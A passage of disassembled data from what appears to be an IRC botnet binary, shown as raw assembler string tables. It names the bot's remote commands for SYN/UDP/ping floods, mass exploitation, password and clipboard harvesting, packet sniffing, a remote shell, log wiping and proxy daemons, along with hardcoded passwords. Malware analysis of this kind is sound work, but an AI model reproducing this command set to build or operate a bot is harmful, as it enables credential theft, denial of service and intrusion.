dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h ; char aOff[] aOff db 'off',0 ; DATA XREF: sub_40EE51+1E15o ; sub_40EE51+1E83o unk_436AD4 db 2 ; DATA XREF: sub_40EE51+1E0Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h ; char unk_436B20 unk_436B20 db 2 ; DATA XREF: sub_40EE51+1D9Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_436B60 db 2 ; DATA XREF: sub_40EE51+1D37o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h ; char aOn[] aOn db 'on',0 ; DATA XREF: sub_40EE51+1D17o ; sub_40EE51+1E61o align 4 ; char aSniff[] aSniff db 'sniff',0 ; DATA XREF: sub_40EE51+1D02o align 4 ; char aCom_rf[] aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE51+1CEBo align 4 ; char aCom_readfile[] aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE51+1CD4o align 4 ; char aCom_cm[] aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE51+1CBDo align 4 ; char aCom_cmd[] aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE51+1CA6o ; char aMirc_cmd[] aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE51+1C78o ; sub_40EE51+1C8Fo align 10h ; char aIrc_v[] aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE51+1C61o align 4 ; char aIrc_visit[] aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE51+1C4Ao align 4 ; char aCom_fl[] aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE51+1C33o align 4 ; char aCom_filelist[] aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE51+1C1Co align 4 ; char aDcc_gt[] aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE51+1C05o align 4 ; char aDcc_get[] aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE51+1BEEo ; char aCom_del[] aCom_del db 'com.del',0 ; DATA XREF: sub_40EE51+1BD7o ; char aCom_delete[] aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE51+1BC0o align 10h ; char aCom_pkid[] aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE51+1BA9o align 4 ; char aCom_prockillid[] aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE51+1B92o align 4 ; char aCom_kpn[] aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE51+1B7Bo ; char aCom_killprocna[] aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE51+1B64o align 4 ; char aIrc_dn[] aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE51+1B4Do align 10h ; char aIrc_dns[] aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE51+1B36o ; char aIrc_se[] aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE51+1B1Fo align 10h ; char aIrc_setserve[] aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE51+1B08o align 10h ; char aCom_o[] aCom_o db 'com.o',0 ; DATA XREF: sub_40EE51+1AF1o align 4 ; char aCom_open[] aCom_open db 'com.open',0 ; DATA XREF: sub_40EE51+1ADAo align 4 ; char aIrc_pr[] aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE51+1AC3o align 4 ; char aIrc_prefix[] aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE51+1AACo align 4 ; char aClone_rn[] aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE51+1A95o align 4 ; char aClone_rndnick[] aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE51+1A7Eo align 4 ; char aClone_q[] aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE51+1A67o ; char aClone_quit[] aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE51+1A50o align 4 ; char aThreads_k[] aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE51+1A39o align 4 ; char aThreads_kill[] aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE51+1A22o align 4 ; char aIrc_ra[] aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE51+1A0Bo align 4 ; char aIrc_raw[] aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE51+19F4o ; char aBara[] aBara db 'bara',0 ; DATA XREF: sub_40EE51+19C6o ; sub_40EE51+19DDo align 4 ; char aDsho[] aDsho db 'dsho',0 ; DATA XREF: sub_40EE51+1998o ; sub_40EE51+19AFo align 4 ; char aIrc_n[] aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE51+1981o align 4 ; char aIrc_nick[] aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE51+196Ao align 4 ; char aRoot_mass[] aRoot_mass db 'root.mass',0 ; DATA XREF: sub_40EE51+1944o align 4 ; char aRoot_massexplo[] aRoot_massexplo db 'root.massexploit',0 ; DATA XREF: sub_40EE51+192Fo align 4 ; char aCom_fp[] aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE51+191Ao align 10h ; char aCom_findpass[] aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE51+1905o align 10h ; char aDaemon_tf_on[] aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE51+18F0o align 10h ; char aDaemon_tftp_on[] aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE51+18DBo align 10h ; char aDaemon_web_on[] aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE51+18C6o align 10h ; char aDaemon_httpd_o[] aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE51+18B1o ; char aDaemon_rl_on[] aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE51+189Co align 10h ; char aDaemon_rlogi_0[] aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE51+1887o align 4 ; char aRoot_cip[] aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE51+1872o align 10h ; char aRoot_currentip[] aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE51+185Do align 10h ; char aUtil_fdns[] aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE51+1848o align 4 ; char aUtil_flushdns[] aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE51+1833o align 4 ; char aUtil_farp[] aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE51+181Eo align 4 ; char aUtil_flusharp[] aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE51+1809o align 4 ; char aCom_gc[] aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE51+17F4o align 10h ; char aCom_getclip[] aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE51+17DFo dword_436E2C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+17CEo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 ; char aD_S[] aD_S db '%d. %s',0 ; DATA XREF: sub_40EE51+179Ao ; sub_416E05+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE51+178Do aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE51+176Bo align 4 ; char aIrc_who[] aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE51+1752o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE51+1747o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE51+1742o align 4 ; char aCom_ocmd_off[] aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE51+1729o align 4 ; char aCom_ocmd[] aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE51+1714o align 4 ; char aCom_opencmd[] aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE51+16FFo ; char aCom_dll[] aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE51+16EAo ; char aCom_testdlls[] aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE51+16D5o align 4 ; char aCom_drv[] aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE51+16C0o ; char aCom_driveinfo[] aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE51+16ABo align 4 ; char aCom_up[] aCom_up db 'com.up',0 ; DATA XREF: sub_40EE51+1696o align 4 ; char aCom_uptime[] aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE51+1681o align 4 ; char aCom_key[] aCom_key db 'com.key',0 ; DATA XREF: sub_40EE51+166Co ; char aCom_harvest[] aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE51+1657o ; char aCom_ps[] aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE51+1642o align 4 ; char aCom_procs[] aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE51+162Do align 10h ; char aC00lm4n[] aC00lm4n db 'c00lm4n',0 ; DATA XREF: sub_40EE51+1603o ; sub_40EE51+1618o ; char aCom_si[] aCom_si db 'com.si',0 ; DATA XREF: sub_40EE51+15EEo align 10h ; char aCom_sysinfo[] aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE51+15D9o unk_436F4C db 2 ; DATA XREF: sub_40EE51+15CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 ; char unk_436F98 unk_436F98 db 2 ; DATA XREF: sub_40EE51+155Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 ; char aDdos_supersyn[] aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE51+14C9o align 4 ; char aCom_ni[] aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE51+14B4o align 10h ; char aCom_netinfo[] aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE51+149Fo ; char aUtil_clg[] aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE51+148Ao align 4 ; char aUtil_clearlog[] aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE51+1475o align 4 ; char aIrc_lg[] aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE51+1460o align 10h ; char aIrc_log[] aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE51+144Bo ; char aIrc_al[] aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE51+1436o align 10h ; char aIrc_aliases[] aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE51+1421o ; char aThreads_l[] aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE51+140Co align 4 ; char aThreads_list[] aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE51+13F7o align 4 dword_437058 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+13C3o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 ; char dword_43708C dword_43708C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+13BCo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 ; char aCom_rebewt[] aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE51+13A5o align 4 ; char aIrc_i[] aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE51+1390o align 4 ; char aIrc_id[] aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE51+137Bo align 4 ; char aIrc_s[] aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE51+1366o align 4 ; char aIrc_status[] aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE51+1351o align 4 ; char aIrc_q[] aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE51+133Co align 10h ; char aIrc_quit[] aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE51+1327o align 4 ; char aIrc_d[] aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE51+1312o align 4 ; char aIrc_disconnect[] aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE51+12FDo align 4 ; char aIrc_r[] aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE51+12E8o align 4 ; char aIrc_reconnect[] aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE51+12D3o align 4 ; char aRoot_st[] aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE51+12BEo ; char aRoot_stats[] aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE51+12A9o align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE51+129Eo align 10h aScan db 'Scan',0 ; DATA XREF: sub_40EE51+1299o align 4 ; char aRoot_stop[] aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE51+1280o align 4 dword_437164 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE51+1275o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE51+1270o align 4 ; char aLockdown_stop[] aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE51+1257o align 4 dword_43718C dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE51+124Co aClone db 'Clone',0 ; DATA XREF: sub_40EE51+1247o align 4 ; char aClone_off[] aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE51+122Eo align 10h ; char aCom_ps_off[] aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE51+1219o align 4 ; char aCom_procs_off[] aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE51+1204o align 4 ; char aUtil_ff_off[] aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE51+11EFo ; char aUtil_findfile_[] aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE51+11DAo align 4 dword_4371EC dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE51+11CFo ; char aDaemon_tftp_of[] aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE51+11B1o dword_437208 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE51+11A6o dword_437214 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE51+11A1o ; char aDdos_ping_off[] aDdos_ping_off db 'ddos.ping.off',0 ; DATA XREF: sub_40EE51+1188o align 10h dword_437230 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE51+117Do dword_43723C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE51+1178o ; char aDdos_udp_off[] aDdos_udp_off db 'ddos.udp.off',0 ; DATA XREF: sub_40EE51+115Fo align 4 dword_437258 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE51+1154o dword_437264 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE51+114Fo ; char aDdos_syn_off[] aDdos_syn_off db 'ddos.syn.off',0 ; DATA XREF: sub_40EE51+1136o align 10h dword_437280 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE51+112Bo dword_43728C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE51+1126o ; char aDdos_off[] aDdos_off db 'ddos.off',0 ; DATA XREF: sub_40EE51+110Do align 4 dword_4372A4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE51+1102o dword_4372B4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE51+10FDo ; char aProxy_redirect[] aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE51+10E4o align 4 dword_4372D8 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE51+10D9o dword_4372E4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE51+10D4o ; char aLog_off[] aLog_off db 'log.off',0 ; DATA XREF: sub_40EE51+10BBo dword_4372F8 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE51+10B3o ; char aDaemon_web_off[] aDaemon_web_off db 'daemon.web.off',0 ; DATA XREF: sub_40EE51+1095o align 4 dword_437314 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE51+108Do ; char aDaemon_rlogin_[] aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE51+106Fo align 4 dword_437338 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE51+104Do aServer_0 db 'Server',0 ; DATA XREF: sub_40EE51+1048o ; sub_40EE51+1088o ... align 10h ; char aProxy_socks4_0[] aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE51+102Fo align 4 ; char aProxy_s4_on[] aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE51+101Ao ; char aProxy_socks4_o[] aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE51+1005o ; char aLd_off[] aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE51+FF0o align 4 ; char aLockdown_off[] aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE51+FDBo align 4 ; char aLd_on[] aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE51+FC6o align 10h ; char aLockdown_on[] aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE51+FB1o ; char aVer[] aVer db 'ver',0 ; DATA XREF: sub_40EE51+F9Co ; char aIrc_version[] aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE51+F87o ; char aLo[] aLo db 'lo',0 ; DATA XREF: sub_40EE51+F72o align 10h ; char aIrc_logout[] aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE51+F5Do align 4 ; char aIrc_di[] aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE51+F48o align 4 ; char aIrc_die[] aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE51+F33o ; char aRn[] aRn db 'rn',0 ; DATA XREF: sub_40EE51+F1Eo align 10h ; char aIrc_rndnick[] aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE51+F06o ; char a63[] a63 db '63',0 ; DATA XREF: sub_40EE51+DDFo align 10h ; char asc_4373F0[] asc_4373F0 db ')',0 ; DATA XREF: sub_40EE51+DB7o align 4 ; char aChr[] aChr db '$chr(',0 ; DATA XREF: sub_40EE51+D7Ao align 4 ; char aServer_1[] aServer_1 db '$server',0 ; DATA XREF: sub_40EE51+D6Fo ; char aRndnick[] aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE51+D5Eo align 10h ; char aChan[] aChan db '$chan',0 ; DATA XREF: sub_40EE51+D42o align 4 ; char aUser_2[] aUser_2 db '$user',0 ; DATA XREF: sub_40EE51+D31o align 10h ; char aMe_0[] aMe_0 db '$me',0 ; DATA XREF: sub_40EE51+D1Fo ; char aD_0[] aD_0 db '$%d',0 ; DATA XREF: sub_40EE51+CB1o ; char aD[] aD db '$%d-',0 ; DATA XREF: sub_40EE51+BF6o align 10h ; char aS1gn1n[] aS1gn1n db 's1gn1n',0 ; DATA XREF: sub_40EE51+B0Ao align 4 ; char dword_437438 dword_437438 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+AD5o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_437478 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+AC7o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_4374B8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+AB9o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 ; char dword_4374FC dword_4374FC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+A4Ao dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 ; char aChat[] aChat db 'CHAT',0 ; DATA XREF: sub_40EE51+9B3o align 4 ; char dword_437534 dword_437534 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+996o dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_437584 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+978o ; sub_40EE51+4AAEo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_4375CC dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE51+967o dd 0A0Dh ; char dword_4375E4 dword_4375E4 dd 4E495001h, 47h ; DATA XREF: sub_40EE51+933o ; char aSHasJustVersio[] aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE51+8EDo align 4 ; char dword_437608[] dword_437608 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE51+8D3o dd 0D017325h, 0Ah ; char dword_437624 dword_437624 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE51+8A2o ; char dword_437630 dword_437630 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+788o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 ; char aSend_0[] aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE51+6E5o align 4 ; char dword_437674 dword_437674 dd 43434401h, 0 ; DATA XREF: sub_40EE51+6C7o ; char a332[] a332 db '332',0 ; DATA XREF: sub_40EE51+64Eo ; sub_40EE51+B40o ... ; char dword_437680 dword_437680 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5CFo dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 10h ; char dword_4376B0[] dword_4376B0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5A8o dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 10h ; char a353[] a353 db '353',0 ; DATA XREF: sub_40EE51+571o ; char aPart[] aPart db 'PART',0 ; DATA XREF: sub_40EE51+523o ; sub_40EE51+5ECo align 4 ; char aSS_1[] aSS_1 db ':%s%s',0 ; DATA XREF: sub_40EE51+4FBo align 4 ; char aNick[] aNick db 'NICK',0 ; DATA XREF: sub_40EE51+3CDo align 4 ; char aNoticeSS[] aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+36Eo ; sub_40EE51+610o ; char dword_43770C dword_43770C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+355o ; sub_40EE51+600Fo ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 ; char aKick[] aKick db 'KICK',0 ; DATA XREF: sub_40EE51+2E4o align 4 ; char aNickS[] aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+28Do ; sub_40EE51+4EA3o ... align 10h ; char a433[] a433 db '433',0 ; DATA XREF: sub_40EE51+265o ; char a[] a@: ; DATA XREF: sub_40EE51+23Ao unicode 0, <@>,0 ; char a302[] a302 db '302',0 ; DATA XREF: sub_40EE51+22Ao ; char a005[] a005 db '005',0 ; DATA XREF: sub_40EE51+215o ; char a001[] a001 db '001',0 ; DATA XREF: sub_40EE51+200o ; char aJoinSS_0[] aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+1E4o ; sub_40EE51+3B4o ... align 4 ; char aPongS[] aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+1C3o align 10h ; char aPing[] aPing db 'PING',0 ; DATA XREF: sub_40EE51+1A9o align 4 ; char asc_437788[] asc_437788: ; DATA XREF: sub_40EE51+19Ao ; sub_40EE51+6111o unicode 0, <!>,0 ; char asc_43778C[] asc_43778C db ' :',0 ; DATA XREF: sub_40EE51+86o ; sub_40EE51:loc_40F9E9o align 10h ; char aSD_0[] aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_415179+120o align 4 ; char unk_43779C unk_43779C db 2 ; DATA XREF: sub_41532A:loc_4153B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 4 unk_4377D4 db 2 ; DATA XREF: sub_41532A+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 ; char unk_43780C unk_43780C db 2 ; DATA XREF: sub_41532A+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 10h ; char dword_437840[] dword_437840 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41546F+1E9o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 ; char dword_437878[] dword_437878 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41546F+1C2o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 4 ; char dword_4378B4[] dword_4378B4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41546F+1A2o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_41546F+172o align 10h ; char dword_437900[] dword_437900 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41546F+E1o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 ; char dword_43793C[] dword_43793C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415674:loc_4156B9o dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 ; char dword_437974[] dword_437974 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156CE+1Bo dd 2029671Fh, 2BBBB02h aLoginRejectedR db ' Login rejected, Remote user: <%s@%s>.',0 ; char dword_4379B8 dword_4379B8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156FD+219o dd 2029671Fh, 2BBBB02h aErrorServerF_0 db ' Error: server failed, returned: <%d>.',0 ; char dword_4379FC[] dword_4379FC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156FD+1FBo dd 2029671Fh, 2BBBB02h aFailedToSta_31 db ' Failed to start client thread, error: <%d>.',0 align 4 ; char dword_437A48 dword_437A48 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156FD+177o dd 